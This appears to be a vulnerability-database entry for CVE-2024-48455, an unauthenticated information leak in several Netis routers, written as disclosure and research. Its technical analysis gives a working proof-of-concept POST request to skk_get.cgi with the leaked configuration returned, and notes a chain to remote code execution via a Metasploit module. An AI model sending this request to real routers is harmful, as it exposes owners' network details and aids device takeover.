Attacker Value
Moderate
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
1

CVE-2024-48455

Disclosure Date: January 06, 2025 •
CVE-2024-48455
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Execution
Techniques
Validation
Validated
Initial Access
Techniques
Validation
Validated

Description

An issue in Netis Wifi6 Router NX10 2.0.1.3643 and 2.0.1.3582 and Netis Wifi 11AC Router NC65 3.0.0.3749 and Netis Wifi 11AC Router NC63 3.0.0.3327 and 3.0.0.3503 and Netis Wifi 11AC Router NC21 3.0.0.3800, 3.0.0.3500 and 3.0.0.3329 and Netis Wifi Router MW5360 1.0.1.3442 and 1.0.1.3031 allows a remote attacker to obtain sensitive information via the mode_name, wl_link parameters of the skk_get.cgi component.

Add Assessment

2
Ratings
  • Attacker Value
    Medium
  • Exploitability
    Very High
Easy to weaponizeUnauthenticatedVulnerable in default configuration
Technical Analysis

CVE-2024-48555 allows for unauthenticated information disclosure revealing sensitive configuration information of several Netis Routers including rebranded routers from GLCtec and Stonet which can be used by the attacker to determine of the router is running specific vulnerable firmware.

We are using FirmAE to emulate the Netis Router firmware and using burpsuite to capture the request.
For this test, we are using the Netis Wifi 11AC Router Netis_NC65v2-V3.0.0.3800.bin vulnerable firmware version.

./run.sh -d netis /root/FirmAE/firmwares/Netis_NC65v2-V3.0.0.3800.bin
[*] /root/FirmAE/firmwares/Netis_NC65v2-V3.0.0.3800.bin emulation start!!!
[*] extract done!!!
[*] get architecture done!!!
[*] /root/FirmAE/firmwares/Netis_NC65v2-V3.0.0.3800.bin already succeed emulation!!!

[IID] 12
[MODE] debug
[+] Network reachable on 192.168.1.1!
[+] Web service on 192.168.1.1
[+] Run debug!
Creating TAP device tap12_0...
Set 'tap12_0' persistent and owned by uid 0
Bringing up TAP device...
Starting emulation of firmware... 192.168.1.1 true true 39.913154010 41.109368119
[*] firmware - Netis_NC65v2-V3.0.0.3800
[*] IP - 192.168.1.1
[*] connecting to netcat (192.168.1.1:31337)
[+] netcat connected
------------------------------
|       FirmAE Debugger      |
------------------------------
1. connect to socat
2. connect to shell
3. tcpdump
4. run gdbserver
5. file transfer
6. exit
> 2
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.

~ # pwd
/

By issuing a simple POST request as listed below, you can obtain all the information of the router without any authentication.

POST Request

POST /cgi-bin/skk_get.cgi HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14.7; rv:131.0) Gecko/20100101 Firefox/131.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
Connection: keep-alive

mode_name=skk_get&wl_link=0

Response

HTTP/1.1 200 OK
Date: Sun, 01 Jan 2023 00:07:53 GMT
Server: Boa/0.94.14rc21
Connection: close

{
  "version":"netis(NC65)V3.0.0.3800",
  "vender":"CIS",
  "model":"NC65v2",
  "easy_mesh":"EASYMESH",
  "switch_chipset":"",
  "tr069":"1",
  "time_now":"2023/01/01 08:07:53",
  "sys_date":"2023",
  "sys_date2":"1",
  "sys_date3":"1",
  "sys_time":"8",
  "sys_time2":"7",
  "sys_time3":"53",
  "uptime":"489","cpu":
  "20%","mem":"7%",
  "statsList":[{

--- lot of additional information ---

"wlanInfo":[
  {
   "st_wlconn":"0","apLinkList":[],
  },
  {
   "st_wlconn":"0","apLinkList":[],
  },
],
"routeTable":[
  {
  "dstip":"192.168.1.0",
  "mask":"255.255.255.0",
  "gw":"0.0.0.0",
  },
],
"arpList"[
  {
   "id":"1",
   "arp_ip":"192.168.1.2",
   "arp_mac":"d2:36:9f:d8:14:bf",
   "arp_host_name":"",
   "is_qos_idx":"0",
   "qos_up_limit":"0",
   "qos_down_limit":"0",
  },
],
"dhcpList":[],"ndp_list":[
  {
   "id":"1",
   "ndp_ip6":"fe80::d036:9fff:fed8:14bf",
   "ndp_mac":"d2:36:9f:d8:14:bf",
  },
],
"macClone":"d2:36:9f:d8:14:bf",
"wscLock":"0",
"ddnsInfo":"DDNS_STATE_START",
"serialNo":"",
"easymesh":{}
}

This CVE can be chained with CVE-2024-48456 and CVE-2024-48457 into an unauthenticated RCE.
A Metasploit module can be found here to exploit these routers.

Mitigation

There is no fix available.
The following router firmware versions are vulnerable:

References

CVE-2024-48455
Metasploit Module PR 19770
Research Notes – Netis Router Exploit Chain Reactor

Credits

h00die-gr3y –> Discovery

Log in to Add Reply
CVSS V3 Severity and Metrics
Base Score:
None
Impact Score:
Unknown
Exploitability Score:
Unknown
Vector:
Unknown
Attack Vector (AV):
Unknown
Attack Complexity (AC):
Unknown
Privileges Required (PR):
Unknown
User Interaction (UI):
Unknown
Scope (S):
Unknown
Confidentiality (C):
Unknown
Integrity (I):
Unknown
Availability (A):
Unknown

General Information

Offensive Application
Unknown
Utility Class
Unknown
Ports
Unknown
OS
Unknown
Vulnerable Versions
n/a
Prerequisites
Unknown
Discovered By
Unknown
PoC Author
Unknown
Metasploit Module
Unknown
Reporter
Unknown

Additional Info

Authenticated
Unknown
Exploitable
Unknown
Reliability
Unknown
Stability
Unknown
Available Mitigations
Unknown
Shelf Life
Unknown
Userbase/Installbase
Unknown
Patch Effectiveness
Unknown
Technical Analysis